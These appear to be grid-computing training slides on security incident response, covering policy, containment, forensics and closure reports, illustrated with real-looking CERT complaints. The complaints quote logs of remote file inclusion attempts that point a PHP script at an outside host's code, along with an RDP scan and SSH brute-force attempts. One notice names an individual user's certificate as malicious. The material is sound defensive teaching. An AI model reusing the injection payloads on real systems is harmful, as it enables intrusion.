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Enabling Grids for E-sciencE

Procedures & Recommendations

What should we have in our institution?
• Security Policy

– Define what is require/allowed/acceptable

– Define responsabilities and authorities

• Security Plan
– What is provided, who receives it and who provides it

• Incident Response Policy/Plan
– Documented steps to keep control of incident

– What will respond to and when. How will we respond

– RFC 2350 – format part of Incident Response Plan

• These must link together
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Enabling Grids for E-sciencE

Procedures and Recommendations

• Aims: ensure consistency, reduce stress

– Mid-incident is a bad time to make decisions!
Much easier to read a document you wrote earlier
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Enabling Grids for E-sciencE

Procedures & Recommendations

• Aims: ensure consistency, reduce stress
– Make as many decisions as possible beforehand

Incidents differ in details; often same stages apply
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Bad guys 
are 

always bad

Enabling Grids for E-sciencE

Procedures & Recommendations

• Aims: ensure consistency, reduce stress
– Be sure your team has read the IH procedure

Don’t disturb me when I am on the beach, please read the doc!!!
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Procedures & Recommendations

• If possible try out plans as exercises

– Modify procedures as you learn from experience

– Security Service Challenge

https://twiki.cern.ch/twiki/bin/view/LCG/LCGSecurityChallenge

Procedures and policies are alive, keep them going/reading on

https://edms.cern.ch/document/867454
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Incident response policy

• Grid participants are bound to (at least) two different 
incident response policies:
– Local incident response policy

– “LCG/EGEE Incident Handling and Response Guide” 
(JSPG) Base on the Open Science Grid, Approved by 
WLCG Management Board on 28th November 2005:

http://cern.ch/proj-lcg-security-
docs/LCG_Incident_Response.asp

– May apply the NREN security policy (are you directly 
connected to the NREN?) or your institution security 
policy
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Incident Handling

• What is a computer incident?
– Adverse event in information system infrastructure

– Threat of the occurrence of adverse event

– A security incident is the act of violating an explicit or 
implied security policy (ex: your local security policyimplied security policy (ex: your local security policy, 
EGEE Acceptable Use Policy -
https://edms.cern.ch/document/428036/3). 

• What is an event?
– Any observable occurrence in a system or network

– Sometimes indicates an incident is occurring
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Enabling Grids for E-sciencE

Incident Handling

• What is Incident Management?
– Process of managing the lifecycle of an incident
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Incident Handling

• Aims of Incident Management:

– Restore normal service as quickly as possible

– Minimize adverse impact on business

– Ensure no incident goes undetectedg

– Ensure incidents are handled with consistent 
processess

– Reduce number of incidents in time

– Build working relationships across organization with 
open communication
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Enabling Grids for E-sciencE

Incident response procedure for grid hosts

• This procedure is provided for guidance only and is 
aimed at minimising the impact of security incidents, 
by encouraging post-mortem analysis and promoting 
cooperation between the sites. It is based on the 
EGEE Incident Response policy (available at 
https://edms.cern.ch/file/428035/LAST_RELEASED/Inci
dent response Guide pdf) and is intended for Griddent_response_Guide.pdf) and is intended for Grid 
site security contacts and site administrators.
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Handling an incident

Time 0s
• How the process starts?

– A complaint from the NREN CERT
– A complaint from a external institution
– A complaint from OSCT
– A advicefrom your firewall
– From some detection intrusion system
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Handling an incident

• NREN notifies your local security teamAsunto: Connection attempts from 89.108.67.208 

Dear Sir/Madam

We have received evidence of web server  injection attacks against 
some servers  from a machine under your constituency, below 
you will see the log as recorded in the webserver logs. 

89.108.67.208 - - [17/Sep/2008:21:40:33 +0200] "GET 
/pki/coord/gt2007//errors.php?error=http://www.agroecologia.org.br/modules/sistem.txt? HTTP/1.1" 404 - "-" 
"libwww-perl/5.812"
89.108.67.208 - - [17/Sep/2008:21:40:33 +0200] "GET 
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[ p ]
/pki/coord/gt2007//errors.php?error=http://www.agroecologia.org.br/modules/sistem.txt? HTTP/1.1" 404 - "-" 
"libwww-perl/5.812"
89.108.67.208 - - [17/Sep/2008:21:40:33 +0200] "GET 
//errors.php?error=http://www.agroecologia.org.br/modules/sistem.txt? HTTP/1.1" 404 - "-" "libwww-perl/5.812"
89.108.67.208 - - [17/Sep/2008:21:40:33 +0200] "GET 
//errors.php?error=http://www.agroecologia.org.br/modules/sistem.txt? HTTP/1.1" 404 - "-" "libwww-perl/5.812"
89.108.67.208 - - [17/Sep/2008:21:40:33 +0200] "GET 
/pki/coord//errors.php?error=http://www.agroecologia.org.br/modules/sistem.txt? HTTP/1.1" 404 - "-" "libwww-
perl/5.812"
89.108.67.208 - - [17/Sep/2008:21:40:33 +0200] "GET 
/pki/coord//errors.php?error=http://www.agroecologia.org.br/modules/sistem.txt? HTTP/1.1" 404 - "-" "libwww-
perl/5.812"

This webserver is in Spain, and the current timezone is CET (GMT+1 , +2 in summer)

Please investigate this unauthorised use and send us back  your findings.

Enabling Grids for E-sciencE

Handling an incident

• NREN notifies your local security team

Asunto: FRAGUELROCK DesconII Disconnect 193.147.222.244

Estimados Srs.,
A continuacion, les enviamos informacion sobre la maquina 193.147.222.244, bajo su responsabilidad.

Un saludo,
IRIS-CERT

193.147.222.244 Total alarms: 4 -<>-<>
Sensor: Fraguelrock nfsen scan AlarmID: Escaneo TCP
Alarm Time: 02/09/2008 08:32:33 Expire Time: 02/09/2008 09:02:33
Cost:500 From 193.147.222.244:0 to 0.0.0.0:3389 Proto: TCP
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Date flow start          Duration Proto      Src IP Addr:Port          Dst IP Addr:Port   Packets    Bytes Flows
2008-09-02 08:24:00.836   277.694 TCP    193.147.222.244:0     ->          0.0.0.0:3389       389    24636   389

Date flow start          Duration Proto      Src IP Addr:Port          Dst IP Addr:Port   Flags Tos  Packets    Bytes      pps  bps    Bpp Flows
2008-09-02 08:24:00.836     0.000 TCP    193.147.222.244:43966 ->    74.86.251.120:3389  ....S.   0        1       64        0 0     64     1
2008-09-02 08:24:01.443     0.000 TCP    193.147.222.244:44595 ->    74.86.251.120:3389  ....S.   0        1       44        0 0     44     1
2008-09-02 08:24:01.547     0.000 TCP    193.147.222.244:44693 ->    74.86.251.120:3389  ....S.   0        1       44        0 0     44     1
2008-09-02 08:24:01.673     0.000 TCP    193.147.222.244:44834 ->    74.86.251.120:3389  ....S.   0        1       64        0 0     64     1
2008-09-02 08:24:01.715     0.000 TCP    193.147.222.244:44984 ->    74.86.251.120:3389  ....S.   0        1       64        0 0     64     1
2008-09-02 08:24:01.879     0.000 TCP    193.147.222.244:45329 ->    74.86.251.120:3389  ....S.   0        1       64        0 0     64     1
2008-09-02 08:24:01.923     0.000 TCP    193.147.222.244:45431 ->    74.86.251.120:3389  ....S.   0        1       64        0 0     64     1
2008-09-02 08:24:02.017     0.000 TCP    193.147.222.244:45605 ->    74.86.251.120:3389  ....S.   0        1       64        0 0     64     1
2008-09-02 08:24:02.209     0.000 TCP    193.147.222.244:45884 ->    74.86.251.120:3389  ....S.   0        1       64        0 0     64     1
2008-09-02 08:24:02.293     0.000 TCP    193.147.222.244:46000 ->    74.86.251.120:3389  ....S.   0        1       64        0 0     64     1
Summary: total flows: 390, total bytes: 24764, total packets: 391, avg bps: 713, avg pps: 1, avg bpp: 63
Time window: 2008-09-02 08:19:59 - 2008-09-02 08:29:58
Total flows processed: 939373, Records skipped: 0, Bytes read: 48848272
Sys: 0.101s flows/second: 9210984.1  Wall: 0.104s flows/second: 9028786.5 
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Handling an incident

• NREN notifies your local security team

Sep 16 12:50:13 avaricia/avaricia sshd[8104]: Failed password for root from 89.121.12.178 port 55652 ssh2
Sep 16 12:50:16 avaricia/avaricia sshd[8194]: Failed password for root from 89.121.12.178 port 55743 ssh2
Sep 16 12:50:18 avaricia/avaricia sshd[8213]: Failed password for root from 89.121.12.178 port 55767 ssh2
Sep 16 12:50:22 avaricia/avaricia sshd[8261]: Failed password for root from 89.121.12.178 port 55815 ssh2
Sep 16 12:50:20 avaricia/avaricia sshd[8236]: Failed password for root from 89.121.12.178 port 55791 ssh2
Sep 16 12:50:26 avaricia/avaricia sshd[8291]: Failed password for root from 89.121.12.178 port 55855 ssh2
Sep 16 12:50:24 avaricia/avaricia sshd[8277]: Failed password for root from 89.121.12.178 port 55837 ssh2
Sep 16 12:50:31 avaricia/avaricia sshd[8399]: Failed password for root from 89.121.12.178 port 55914 ssh2
Sep 16 12:50:29 avaricia/avaricia sshd[8370]: Failed password for root from 89.121.12.178 port 55894 ssh2
Sep 16 12:50:34 avaricia/avaricia sshd[8429]: Failed password for root from 89 121 12 178 port 55951 ssh2
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Sep 16 12:50:34 avaricia/avaricia sshd[8429]: Failed password for root from 89.121.12.178 port 55951 ssh2
Sep 16 12:50:33 avaricia/avaricia sshd[8415]: Failed password for root from 89.121.12.178 port 55932 ssh2
Sep 16 12:50:36 avaricia/avaricia sshd[8444]: Failed password for root from 89.121.12.178 port 55970 ssh2
Sep 16 12:50:38 avaricia/avaricia sshd[8457]: Failed password for root from 89.121.12.178 port 55988 ssh2
Sep 16 12:50:40 avaricia/avaricia sshd[8479]: Failed password for root from 89.121.12.178 port 56007 ssh2
Sep 16 12:50:41 avaricia/avaricia sshd[8489]: Failed password for root from 89.121.12.178 port 56025 ssh2
Sep 16 12:50:46 avaricia/avaricia sshd[8554]: Failed password for root from 89.121.12.178 port 56060 ssh2
Sep 16 12:50:49 avaricia/avaricia sshd[8599]: Failed password for root from 89.121.12.178 port 56097 ssh2
Sep 16 12:50:44 avaricia/avaricia sshd[8510]: Failed password for root from 89.121.12.178 port 56043 ssh2
Sep 16 12:50:53 avaricia/avaricia sshd[8637]: Failed password for root from 89.121.12.178 port 56134 ssh2
Sep 16 12:50:48 avaricia/avaricia sshd[8582]: Failed password for root from 89.121.12.178 port 56079 ssh2
Sep 16 12:50:55 avaricia/avaricia sshd[8662]: Failed password for root from 89.121.12.178 port 56152 ssh2
Sep 16 12:50:51 avaricia/avaricia sshd[8618]: Failed password for root from 89.121.12.178 port 56116 ssh2
Sep 16 12:51:00 avaricia/avaricia sshd[8703]: Failed password for root from 89.121.12.178 port 56989 ssh2
Sep 16 12:50:57 avaricia/avaricia sshd[8674]: Failed password for root from 89.121.12.178 port 56171 ssh2

Enabling Grids for E-sciencE

Handling an incident

• OSCT notifies a local security team

It was reported that any activity by 

/DC=ch/DC=cern/OU=OrganicUnits/OU=Users/CN=mgrygiel/CN=462927/CN=Moniqu
e Grygiel

should be considered malicious.
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RAL has so far found one job currently running under this DN. 

We are still investigating the activity of the offending job but have so far taken the 
following action:

1)The job is SIGSTOP'd

2) Access by the user has been blocked at our CE, dcache SE and FTS. 

We are still working on CASTOR and the RB.More details will follow as we get 
them.RegardsAndrew

Enabling Grids for E-sciencE

Handling an incident

Time 1s
• What to do now?

– Don’t get stressed & Calm down

– Take your security plan, it’s time to use it

– Inform your local security team and your ROC Security Contact
No needed a long mail with too deep explanations

Just tell them what it’s going on

• Logs/information/evidences you did gather/receive

• Actions you did take before sending the message

• Very important the timing
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Handling an incident

Time 2s
• Take some actions

– Ask for help if you need to your local security team or your ROC 
security contact

– Review carefully the complaint
Reject a false positive 
To kno the malicio s acti itTo know the malicious activity
To get the timing
Users probably compromised

– Assist your local security team and your ROC Security Contact 
to confirm and then announce the incident to all the sites via 
project-egee-security-csirts@cern.ch. 

– Alert to the VO Manager
– Notify the responsible CA
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Handling an incident

Time 3s
– Contain the problem

Isolate the machine from the network 

NEVER SWITCH OFF or RESET the host

If appropriate:
• Report a downtime for the affected hosts on the GOCDBReport a downtime for the affected hosts on the GOCDB
• Send an EGEE broadcast announcing the downtime for the 

affected hosts

• Use “Security operations in progress” as the reason with no 
additional detail both for the broadcast and the GOCDB.

Finding malicious Jobs and killing them
Suspending the user at the Site

20

Enabling Grids for E-sciencE

Handling an incident

Time 4s

• Perform appropiate forensics and take necessary corrective 
actions

– If needed, seek for help from your local security team or from your 
ROC Security Contact or from project-security-support@cern.ch

– Analysis of network traffic

– Analysis of the submitted binaries

– If relevant, send additional reports containing suspicious patterns, 
files or evidence that may be of use to other Grid participants to 
project-egee-security-contacts@cern.ch. NEVER send potentially 
sensitive information (hosts, IP addresses, usernames) without 
clearance from your local security team and/or your ROC Security 
Contact.
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Time 5s

• Restore the service

• Send an EGEE broadcast, if needed 

• Update the GOCDB

• Service documentation and procedures to prevent 
recurrence as necessary.
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Handling an incident

• Lesson learned
• The warning came through the appropriated channels

– Do you keep updated your contact information?
– Was your procedure enough accurate for giving a quick and 

good answer?
– Were your actions enough for containing the problem?

• Coordinate with your local security team and your ROC 
Security Contact to send an incident closure report 
within 1 month following the incident, to all the sites via 
project-egee-security-contacts@cern.ch, including 
lessons learnt and resolution.
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